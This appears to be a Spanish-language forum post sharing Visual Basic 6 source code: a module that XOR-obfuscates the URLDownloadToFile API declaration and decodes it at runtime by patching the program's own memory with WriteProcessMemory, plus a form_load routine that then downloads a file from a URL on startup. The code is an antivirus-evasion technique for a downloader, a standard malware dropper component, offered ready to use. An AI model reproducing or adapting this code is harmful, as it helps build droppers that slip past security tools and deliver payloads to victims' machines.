modulo:
en el form load:
Código [Seleccionar]
'---------------------------------------------------------------------------------------
' Module : mAPIObfuscation
' Author : Karcrack
' Now$ : 29/08/2009 13:54
' Used for? : Obfuscate API Declaration
'---------------------------------------------------------------------------------------
'MSVBVM60
public Declare Sub CopyBytes Lib "MSVBVM60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)
'KERNEL32
public Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As Long, ByRef lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long
public Declare Function IsBadReadPtr Lib "KERNEL32" (ByRef lp As Any, ByVal ucb As Long) As Long
'api download
Public Declare Function URLDownloadToFile Lib "Š"''" Alias "ª³»ˆ'"ž›«¹–"š¾" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DeObfuscateAPI(ByVal sLib As String, ByVal sFunc As String) As Boolean
Dim lAddr As Long
Dim sBuff As String * &H200
Dim lLib As Long
Dim lFunc As Long
If App.LogMode = 0 Then GoTo OUT
lAddr = App.hInstance& - Len(sBuff)
Do
lAddr = lAddr + Len(sBuff)
If IsBadReadPtr(ByVal lAddr, Len(sBuff)) <> 0 Then GoTo OUT
Call CopyBytes(Len(sBuff), ByVal sBuff$, ByVal lAddr&)
lLib = InStr(1, sBuff, sLib, vbBinaryCompare)
lFunc = InStr(1, sBuff, sFunc, vbBinaryCompare)
Loop Until (lLib <> 0) And (lFunc <> 0)
lLib = lAddr + lLib - 1
lFunc = lAddr + lFunc - 1
If WriteProcessMemory(-1, ByVal lLib&, ByVal E(sLib), Len(sLib), ByVal 0&) = 0 Then GoTo OUT
If WriteProcessMemory(-1, ByVal lFunc&, ByVal E(sFunc), Len(sFunc), ByVal 0&) = 0 Then GoTo OUT
DeObfuscateAPI = True: Exit Function
OUT:
DeObfuscateAPI = False: Exit Function
End Function
Public Function E(ByVal s As String) As String
Dim i As Long
For i = 1 To Len(s)
E = E & Chr$(Asc(Mid$(s, i, 1)) Xor &HFF)
Next i
End Functionen el form load:
Código [Seleccionar]
private sub form_load()
If DeObfuscateAPI("Š"''", "ª³»ˆ'"ž›«¹–"š¾") = True Then
Descarga = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
End If
end sub
